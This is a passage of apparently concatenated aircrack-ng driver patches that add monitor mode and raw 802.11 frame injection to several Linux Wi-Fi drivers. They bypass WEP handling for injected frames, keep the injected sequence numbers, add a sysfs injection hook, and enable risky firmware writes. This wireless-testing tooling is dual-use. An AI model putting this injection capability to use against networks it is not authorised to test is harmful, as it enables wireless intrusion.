memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); + + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + usbpktlen+=8; + } else { + hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(hw->txbuff.txfrm.desc.data_len), skb->data, 16); + skb_pull(skb,16); + if (hw->txbuff.txfrm.desc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + // /* if we're using host WEP, increase size by IV+ICV */ + // if (p80211_wep->data) { + // hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len+8); + // // hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + // usbpktlen+=8; + // } else { + // hw->txbuff.txfrm.desc.data_len = host2hfa384x_16(skb->len); + hw->txbuff.txfrm.desc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + hw->txbuff.txfrm.desc.tx_control = + host2hfa384x_16(hw->txbuff.txfrm.desc.tx_control); + + /* copy the header over to the txdesc */ + memcpy(&(hw->txbuff.txfrm.desc.frame_control), p80211_hdr, + sizeof(p80211_hdr_t)); } usbpktlen += skb->len; /* copy over the WEP IV if we are using host WEP */ ptr = hw->txbuff.txfrm.data; - if (p80211_wep->data) { + // if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->iv, sizeof(p80211_wep->iv)); ptr+= sizeof(p80211_wep->iv); memcpy(ptr, p80211_wep->data, skb->len); } else { memcpy(ptr, skb->data, skb->len); } + /* copy over the packet data */ ptr+= skb->len; /* copy over the WEP ICV if we are using host WEP */ - if (p80211_wep->data) { + // if (p80211_wep->data) { + if (p80211_wep->data && skb->protocol != htons(ETH_P_80211_RAW)) { memcpy(ptr, p80211_wep->icv, sizeof(p80211_wep->icv)); } @@ -4223,6 +4265,17 @@ switch( HFA384x_RXSTATUS_MACPORT_GET(usbin->rxfrm.desc.status) ) { case 0: + /* KoreK: this testmode uses macport 0 */ + if ((wlandev->netdev->type == ARPHRD_IEEE80211) || + (wlandev->netdev->type == ARPHRD_IEEE80211_PRISM)) { + if ( ! HFA384x_RXSTATUS_ISFCSERR(usbin->rxfrm.desc.status) ) { + hfa384x_int_rxmonitor(wlandev, &usbin->rxfrm); + } else { + WLAN_LOG_DEBUG(3,"Received monitor frame: FCSerr set\n"); + } + goto done; + } + fc = ieee2host16(usbin->rxfrm.desc.frame_control); /* If exclude and we receive an unencrypted, drop it */ Only in linux-wlan-ng-0.2.8-patched/src/prism2/driver: hfa384x_usb.c.orig diff -ur linux-wlan-ng-0.2.8/src/prism2/driver/prism2mgmt.c linux-wlan-ng-0.2.8-patched/src/prism2/driver/prism2mgmt.c --- linux-wlan-ng-0.2.8/src/prism2/driver/prism2mgmt.c 2007-01-30 19:12:42.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/prism2/driver/prism2mgmt.c 2007-05-19 13:57:58.000000000 +0200 @@ -2860,9 +2860,12 @@ } /* Now if we're already sniffing, we can skip the rest */ - if (wlandev->netdev->type != ARPHRD_ETHER) { + // if (wlandev->netdev->type != ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { /* Set the port type to pIbss */ - word = HFA384x_PORTTYPE_PSUEDOIBSS; + // word = HFA384x_PORTTYPE_PSUEDOIBSS; + word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFPORTTYPE, word); if ( result ) { @@ -2874,6 +2877,8 @@ } if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) { /* Set the wepflags for no decryption */ + /* doesn't work - done from the CLI */ + /* Fix? KoreK */ word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT | HFA384x_WEPFLAGS_DISABLE_RXCRYPT; result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word); @@ -2919,7 +2924,9 @@ goto failed; } - if (wlandev->netdev->type == ARPHRD_ETHER) { + // if (wlandev->netdev->type == ARPHRD_ETHER) { + if ((wlandev->netdev->type != ARPHRD_IEEE80211) && + (wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) { WLAN_LOG_INFO("monitor mode enabled\n"); } diff -ur linux-wlan-ng-0.2.8/src/prism2/driver/prism2sta.c linux-wlan-ng-0.2.8-patched/src/prism2/driver/prism2sta.c --- linux-wlan-ng-0.2.8/src/prism2/driver/prism2sta.c 2007-03-19 16:37:00.000000000 +0100 +++ linux-wlan-ng-0.2.8-patched/src/prism2/driver/prism2sta.c 2007-05-19 13:57:58.000000000 +0200 @@ -411,7 +411,9 @@ DBFENTER; /* If necessary, set the 802.11 WEP bit */ - if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + // if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) { + if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) + && (skb->protocol != htons(ETH_P_80211_RAW))) { p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1)); } Only in linux-wlan-ng-0.2.8-patched/src/prism2/driver: prism2sta.c.orig aircrack-ng-1.2-rc4/patches/fix_ath5k_no_data_in_monitor_mode.patch0000644000000000000000000000414111376270013024201 0ustar rootrootThanks to Weedy who did an awesome work tracking this down diff --git a/drivers/net/wireless/ath/ath5k/base.c b/drivers/net/wireless/ath/ath5k/base.c index c4adf98..5056410 100644 --- a/drivers/net/wireless/ath/ath5k/base.c +++ b/drivers/net/wireless/ath/ath5k/base.c @@ -2918,8 +2918,6 @@ static void ath5k_configure_filter(struct ieee80211_hw *hw, struct ath5k_hw *ah = sc->ah; u32 mfilt[2], rfilt; - mutex_lock(&sc->lock); - mfilt[0] = multicast; mfilt[1] = multicast >> 32; @@ -2970,25 +2968,22 @@ static void ath5k_configure_filter(struct ieee80211_hw *hw, /* XXX move these to mac80211, and add a beacon IFF flag to mac80211 */ - switch (sc->opmode) { - case NL80211_IFTYPE_MESH_POINT: - case NL80211_IFTYPE_MONITOR: - rfilt |= AR5K_RX_FILTER_CONTROL | - AR5K_RX_FILTER_BEACON | - AR5K_RX_FILTER_PROBEREQ | - AR5K_RX_FILTER_PROM; - break; - case NL80211_IFTYPE_AP: - case NL80211_IFTYPE_ADHOC: - rfilt |= AR5K_RX_FILTER_PROBEREQ | - AR5K_RX_FILTER_BEACON; - break; - case NL80211_IFTYPE_STATION: - if (sc->assoc) - rfilt |= AR5K_RX_FILTER_BEACON; - default: - break; - } + if (sc->opmode == NL80211_IFTYPE_MONITOR) + rfilt |= AR5K_RX_FILTER_CONTROL | AR5K_RX_FILTER_BEACON | + AR5K_RX_FILTER_PROBEREQ | AR5K_RX_FILTER_PROM; + if (sc->opmode != NL80211_IFTYPE_STATION) + rfilt |= AR5K_RX_FILTER_PROBEREQ; + if (sc->opmode != NL80211_IFTYPE_AP && + sc->opmode != NL80211_IFTYPE_MESH_POINT && + test_bit(ATH_STAT_PROMISC, sc->status)) + rfilt |= AR5K_RX_FILTER_PROM; + if ((sc->opmode == NL80211_IFTYPE_STATION && sc->assoc) || + sc->opmode == NL80211_IFTYPE_ADHOC || + sc->opmode == NL80211_IFTYPE_AP) + rfilt |= AR5K_RX_FILTER_BEACON; + if (sc->opmode == NL80211_IFTYPE_MESH_POINT) + rfilt |= AR5K_RX_FILTER_CONTROL | AR5K_RX_FILTER_BEACON | + AR5K_RX_FILTER_PROBEREQ | AR5K_RX_FILTER_PROM; /* Set filters */ ath5k_hw_set_rx_filter(ah, rfilt); @@ -2998,8 +2993,6 @@ static void ath5k_configure_filter(struct ieee80211_hw *hw, /* Set the cached hw filter flags, this will alter actually * be set in HW */ sc->filter_flags = rfilt; - - mutex_unlock(&sc->lock); } static int aircrack-ng-1.2-rc4/patches/acx-20070101.patch0000644000000000000000000000264410761053203017037 0ustar rootrootdiff -Naur acx_orig/common.c acx_rawtx/common.c --- acx_orig/common.c 2007-01-10 22:15:27.000000000 +0100 +++ acx_rawtx/common.c 2007-05-20 12:58:55.000000000 +0200 @@ -3180,6 +3180,14 @@ goto end; } + if(unlikely(skb->len < 24)) { + /* silently drop the packet, since fw won't send it */ + txresult = OK; + /* ...but indicate an error nevertheless */ + adev->stats.tx_errors++; + goto end; + } + tx = acx_l_alloc_tx(adev); if (unlikely(!tx)) { printk_ratelimited("%s: start_xmit: txdesc ring is full, " diff -Naur acx_orig/pci.c acx_rawtx/pci.c --- acx_orig/pci.c 2007-01-10 13:27:16.000000000 +0100 +++ acx_rawtx/pci.c 2007-05-20 12:58:55.000000000 +0200 @@ -1992,7 +1992,12 @@ acx_set_status(adev, ACX_STATUS_1_SCANNING); break; case ACX_MODE_3_AP: case ACX_MODE_MONITOR: - acx_set_status(adev, ACX_STATUS_4_ASSOCIATED); break; + acx_set_status(adev, ACX_STATUS_4_ASSOCIATED); + adev->msdu_lifetime = 0;/* no lifetime at all */ + adev->short_retry = 0; /* no retries for (short) non-RTS packets */ + adev->long_retry = 0; /* no retries for long (RTS) packets */ + + break; } acx_s_start(adev); @@ -3387,12 +3392,14 @@ break; } adev->stats.tx_errors++; +#if 0 if (adev->stats.tx_errors <= 20) printk("%s: tx error 0x%02X, buf %02u! (%s)\n", adev->ndev->name, error, finger, err); else printk("%s: tx error 0x%02X, buf %02u!\n", adev->ndev->name, error, finger); +#endif } aircrack-ng-1.2-rc4/patches/madwifi-ng-r4073.patch0000644000000000000000000000705311226735175020206 0ustar rootrootdiff -dru madwifi-ng/ath/if_ath.c madwifi-ng-fixed/ath/if_ath.c --- madwifi-ng/ath/if_ath.c 2009-07-10 01:46:48.000000000 +0200 +++ madwifi-ng-fixed/ath/if_ath.c 2009-07-10 01:59:58.000000000 +0200 @@ -3010,6 +3010,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = netdev_priv(dev); + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = &(SKB_CB(skb)->phy); const HAL_RATE_TABLE *rt; @@ -3022,7 +3023,7 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *)skb->data; - try0 = ph->try[0]; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try[0]; rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate[0]); power = ph->power > 60 ? 60 : ph->power; @@ -3046,7 +3047,8 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); - if (IEEE80211_IS_MULTICAST(wh->i_addr1)) { + if (IEEE80211_IS_MULTICAST(wh->i_addr1) || ((ic->ic_opmode == +IEEE80211_M_MONITOR) && (skb->data[1]&3) != 0x01) ) { flags |= HAL_TXDESC_NOACK; /* no ack on broad/multicast */ sc->sc_stats.ast_tx_noack++; try0 = 1; Only in madwifi-ng-fixed/ath: if_ath.c.orig diff -dru madwifi-ng/ath_hal/ar5211/ar5211_reset.c madwifi-ng-fixed/ath_hal/ar5211/ar5211_reset.c --- madwifi-ng/ath_hal/ar5211/ar5211_reset.c 2009-07-10 01:46:38.000000000 +0200 +++ madwifi-ng-fixed/ath_hal/ar5211/ar5211_reset.c 2009-07-10 01:52:18.000000000 +0200 @@ -987,7 +987,7 @@ if (AH_PRIVATE(ah)->ah_macVersion < AR_SREV_VERSION_OAHU && ath_hal_getnfcheckrequired(ah, (HAL_CHANNEL *) chan)) { static const uint8_t runtime[3] = { 0, 2, 7 }; - int16_t nf, nfThresh; + int16_t nf, nfThresh = 0; int i; if (!getNoiseFloorThresh(ah, chan, &nfThresh)) diff -dru madwifi-ng/ath_hal/ar5212/ar5212_reset.c madwifi-ng-fixed/ath_hal/ar5212/ar5212_reset.c --- madwifi-ng/ath_hal/ar5212/ar5212_reset.c 2009-07-10 01:46:41.000000000 +0200 +++ madwifi-ng-fixed/ath_hal/ar5212/ar5212_reset.c 2009-07-10 01:53:24.000000000 +0200 @@ -1264,7 +1264,7 @@ { struct ath_hal_5212 *ahp = AH5212(ah); struct ar5212NfCalHist *h = &ahp->ah_nfCalHist; - int16_t nf, nfThresh; + int16_t nf, nfThresh = 0; int32_t val; if (OS_REG_READ(ah, AR_PHY_AGC_CONTROL) & AR_PHY_AGC_CONTROL_NF) { diff -dru madwifi-ng/net80211/ieee80211_scan_sta.c madwifi-ng-fixed/net80211/ieee80211_scan_sta.c --- madwifi-ng/net80211/ieee80211_scan_sta.c 2009-07-10 01:46:32.000000000 +0200 +++ madwifi-ng-fixed/net80211/ieee80211_scan_sta.c 2009-07-10 01:56:57.000000000 +0200 @@ -357,7 +357,7 @@ struct ieee80211_scan_state *ss, enum ieee80211_phymode mode, const u_int16_t freq[], int nfreq) { - struct ieee80211_channel *c, *cg; + struct ieee80211_channel *c, *cg = NULL; u_int modeflags; int i; @@ -1293,7 +1293,7 @@ u_int32_t flags) { struct sta_table *st = ss->ss_priv; - struct sta_entry *selbs; + struct sta_entry *selbs = NULL; struct ieee80211_channel *chan; KASSERT(vap->iv_opmode == IEEE80211_M_IBSS || diff -dru madwifi-ng/net80211/ieee80211_skb.c madwifi-ng-fixed/net80211/ieee80211_skb.c --- madwifi-ng/net80211/ieee80211_skb.c 2009-07-10 01:46:32.000000000 +0200 +++ madwifi-ng-fixed/net80211/ieee80211_skb.c 2009-07-10 01:54:54.000000000 +0200 @@ -464,7 +464,7 @@ * - Break the linked list, clearing next skb's prev pointer if possible. */ void ieee80211_dev_kfree_skb(struct sk_buff **pskb) { - struct sk_buff *skb; + struct sk_buff *skb = NULL; /* Do not fail on null, as we are going to use this in cleanup code. */ if (!pskb || !(skb = *pskb)) aircrack-ng-1.2-rc4/patches/prism54-svn-20050724.patch0000644000000000000000000000071310761053203020377 0ustar rootrootdiff -ur ../prism54-svn-20050724/ksrc/islpci_dev.c ./ksrc/islpci_dev.c --- ../prism54-svn-20050724/ksrc/islpci_dev.c 2005-03-08 16:32:34.000000000 +0100 +++ ./ksrc/islpci_dev.c 2005-07-26 18:56:40.000000000 +0200 @@ -758,9 +758,6 @@ pci_unmap_single(priv->pdev, buf->pci_addr, MGMT_FRAME_SIZE, PCI_DMA_FROMDEVICE); buf->pci_addr = 0; - if (buf->skb) - dev_kfree_skb(buf->skb); - buf->skb = NULL; } /* clean up data rx buffers */ aircrack-ng-1.2-rc4/patches/mac80211_2.6.24.4_frag.patch0000644000000000000000000000111610776411434020505 0ustar rootroot# Patch to prevent mac80211 to clobber injected sequence numbers diff -bBur linux-2.6.24.4/net/mac80211/tx.c linux-2.6.24.4-sud/net/mac80211/tx.c --- linux-2.6.24.4/net/mac80211/tx.c 2008-01-24 23:58:37.000000000 +0100 +++ linux-2.6.24.4-sud/net/mac80211/tx.c 2008-04-05 16:43:19.000000000 +0200 @@ -281,6 +281,9 @@ { struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)tx->skb->data; + if (unlikely(tx->flags & IEEE80211_TXRXD_TX_INJECTED)) + return TXRX_CONTINUE; + if (ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_control)) >= 24) ieee80211_include_sequence(tx->sdata, hdr); aircrack-ng-1.2-rc4/patches/bcm43xx-injection-linux-2.6.20.patch0000644000000000000000000000566410761053203022531 0ustar rootroot--- linux/drivers/net/wireless/bcm43xx/bcm43xx_main.c 2007-04-17 16:39:08.000000000 +0200 +++ linux-bcm43xx-patch/drivers/net/wireless/bcm43xx/bcm43xx_main.c 2007-04-20 00:09:09.000000000 +0200 @@ -104,6 +104,13 @@ #endif /* CONFIG_BCM43XX_DEBUG*/ +static ssize_t bcm43xx_inject_nofcs(struct device *dev, + struct device_attribute *attr, + const char *buf, + size_t cnt); +static DEVICE_ATTR(inject_nofcs, 0200, + NULL, bcm43xx_inject_nofcs); + /* If you want to debug with just a single device, enable this, * where the string is the pci device ID (as given by the kernel's * pci_name function) of the device to be used. @@ -3365,6 +3372,8 @@ static void bcm43xx_free_board(struct bcm43xx_private *bcm) { bcm43xx_rng_exit(bcm); + + device_remove_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs); bcm43xx_sysfs_unregister(bcm); bcm43xx_periodic_tasks_delete(bcm); @@ -3636,6 +3645,10 @@ err = bcm43xx_rng_init(bcm); if (err) goto err_sysfs_unreg; + + err = device_create_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs); + if (err) + goto err_inject_if; bcm43xx_periodic_tasks_setup(bcm); /*FIXME: This should be handled by softmac instead. */ @@ -3645,7 +3658,8 @@ mutex_unlock(&(bcm)->mutex); return err; - +err_inject_if: + device_remove_file(&bcm->pci_dev->dev, &dev_attr_inject_nofcs); err_sysfs_unreg: bcm43xx_sysfs_unregister(bcm); err_wlshutdown: @@ -3892,6 +3906,48 @@ return err; } +static ssize_t bcm43xx_inject_nofcs(struct device *dev, + struct device_attribute *attr, + const char *buf, + size_t cnt) +{ + struct bcm43xx_private *bcm = dev_to_bcm(dev); + struct ieee80211_txb *faketxb; + struct sk_buff *skb; + unsigned long flags; + int err = -ENODEV; + + faketxb = kzalloc(sizeof(struct ieee80211_txb) + sizeof(void *), GFP_KERNEL); + if (!faketxb) + return -ENOMEM; + faketxb->nr_frags = 1; + faketxb->frag_size = cnt; + faketxb->payload_size = cnt; + skb = __dev_alloc_skb(cnt + bcm->ieee->tx_headroom, GFP_KERNEL); + if (!skb) { + kfree(faketxb); + return -ENOMEM; + } + skb_reserve(skb, bcm->ieee->tx_headroom); + memcpy(skb_put(skb, cnt), buf, cnt); + faketxb->fragments[0] = skb; + + spin_lock_irqsave(&bcm->irq_lock, flags); + + if (likely(bcm43xx_status(bcm) == BCM43xx_STAT_INITIALIZED)) + err = bcm43xx_tx(bcm, faketxb); + + spin_unlock_irqrestore(&bcm->irq_lock, flags); + + if (unlikely(err)) { + dev_kfree_skb(skb); + kfree(faketxb); + return err; + } + + return cnt; +} + static void bcm43xx_ieee80211_set_chan(struct net_device *net_dev, u8 channel) { aircrack-ng-1.2-rc4/patches/hostap-driver-0.4.7.patch0000644000000000000000000004603110761053203020625 0ustar rootrootdiff -ur hostap-driver-0.4.7/driver/etc/hostap_cs.conf hostap-driver-0.4.7-aircrack-ng/driver/etc/hostap_cs.conf --- hostap-driver-0.4.7/driver/etc/hostap_cs.conf 2005-11-06 14:01:09.000000000 -0500 +++ hostap-driver-0.4.7-aircrack-ng/driver/etc/hostap_cs.conf 2006-03-20 14:45:13.000000000 -0500 @@ -102,17 +102,17 @@ card "Level-One WPC-0100" version "Digital Data Communications", "WPC-0100", "Version 00.00" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Belkin 802.11b WLAN PCMCIA" version "Belkin", "11Mbps Wireless Notebook Network Adapter", "Version 01.02" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Senao SL-2011CD/SL-2011CDPLUS" version "INTERSIL", "HFA384x/IEEE", "Version 01.02" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Fulbond Airbond XI-300B" diff -ur hostap-driver-0.4.7/driver/modules/hostap_80211_tx.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_80211_tx.c --- hostap-driver-0.4.7/driver/modules/hostap_80211_tx.c 2005-08-06 13:55:14.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_80211_tx.c 2006-03-20 14:45:13.000000000 -0500 @@ -51,6 +51,9 @@ int to_assoc_ap = 0; struct hostap_skb_tx_data *meta; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -216,6 +219,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -377,8 +381,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; diff -ur hostap-driver-0.4.7/driver/modules/hostap.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap.c --- hostap-driver-0.4.7/driver/modules/hostap.c 2005-08-06 13:47:10.000000000 -0400 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap.c 2006-03-20 14:45:13.000000000 -0500 @@ -407,7 +407,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } diff -ur hostap-driver-0.4.7/driver/modules/hostap_config.h hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_config.h --- hostap-driver-0.4.7/driver/modules/hostap_config.h 2005-11-20 20:42:12.000000000 -0500 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_config.h 2006-03-20 14:45:13.000000000 -0500 @@ -59,7 +59,7 @@ * In addition, please note that it is possible to kill your card with * non-volatile download if you are using incorrect image. This feature has not * been fully tested, so please be careful with it. */ -/* #define PRISM2_NON_VOLATILE_DOWNLOAD */ +#define PRISM2_NON_VOLATILE_DOWNLOAD #endif /* PRISM2_DOWNLOAD_SUPPORT */ /* Include wireless extensions sub-ioctl support even if wireless extensions diff -ur hostap-driver-0.4.7/driver/modules/hostap_cs.c hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_cs.c --- hostap-driver-0.4.7/driver/modules/hostap_cs.c 2005-11-06 14:01:09.000000000 -0500 +++ hostap-driver-0.4.7-aircrack-ng/driver/modules/hostap_cs.c 2006-03-20 15:11:53.000000000 -0500 @@ -929,53 +929,98 @@ #if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,67) #if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,13)) static struct pcmcia_device_id hostap_cs_ids[] = { - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), - PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), - PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), - PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), - PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", - 0x7a954bd9, 0x74be00c6), - PCMCIA_DEVICE_PROD_ID1234( - "Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", - "Eval-RevA", - 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), - PCMCIA_DEVICE_PROD_ID123( - "Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", - 0xe6ec52ce, 0x08649af2, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", - 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "Instant Wireless ", " Network PC CARD", "Version 01.02", - 0x11d901af, 0x6e9bd926, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "SMC", "SMC2632W", "Version 01.02", - 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", - 0x54f7c49c, 0x15a75e5b), - PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", - 0x74c5e40d, 0xdb472a18), - PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", - 0x0733cc81, 0x0c52f395), - PCMCIA_DEVICE_PROD_ID12( - "ZoomAir 11Mbps High", "Rate wireless Networking", - 0x273fe3db, 0x32a1eaee), - PCMCIA_DEVICE_NULL + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), // SonicWALL Long Range Wireless Card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7110), // D-Link DWL-650 rev P 802.11b WLAN card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), // Sohoware NCP110, Philips 802.11b +// PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0001), // Intel PRO/Wireless 2011 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), // AnyPoint(TM) Wireless II PC Card + PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), // 3Com AirConnect PCI 777A + PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), // PROXIM RangeLAN-DS/LAN PC CARD + PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), // Compaq WL100 11 Mbps Wireless Adapter +// PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), // Mostly Lucent Orinoco (HermesI), but also some Prism2 :( +// PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), // Ericsson WLAN Card C11 (Symbol24) +// PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), // Nortel eMobility 802.11 Wireless Adapter (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), // Intermec MobileLAN 11Mbps 802.11b WLAN Card + PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), // Samsung SWL2000-N 11Mb/s WLAN Card +// PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), // AirWay 802.11 Adapter (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), // ARtem Onair (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x026c, 0x0001), // Symbol Technologies LA4111 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), // Buffalo WLI-PCM-S11 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), // Linksys WPC11 Version 2.5 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), // Linksys WPC11 Version 3 + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), // Compaq HNW-100 11 Mbps Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), // Linksys WCF12 11Mbps 802.11b WLAN Card (Prism 3) + PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), // ASUS SpaceLink WL-100 + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), // SpeedStream SS1021 Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), // SpeedStream SS1021 Wireless Adapter (newer) + PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), // Microsoft Wireless Notebook Adapter MN-520 + PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), // PLANEX RoadLannerWave GW-NS11H + PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), // ActionTec 802CI2/HCW01170-01 + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), // Airvast ? + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), // Airvast WN-100 + PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), // Adaptec Ultra Wireless ANW-8030 + PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), // CONTEC FLEXSCAN/FX-DDS110-PCC + PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), // Corega KK Wireless LAN PCC-11 + PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), // Conceptronic CON11Cpro, EMTAC A2424i + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), // Safeway 802.11b, ZCOMAX AirRunner/XI-300 + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), // D-Link DCF660, ZCOMAX XI-325HP 200mw + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), // SMC2532W-B V2 + + PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", 0x7a954bd9, 0x74be00c6), + PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless 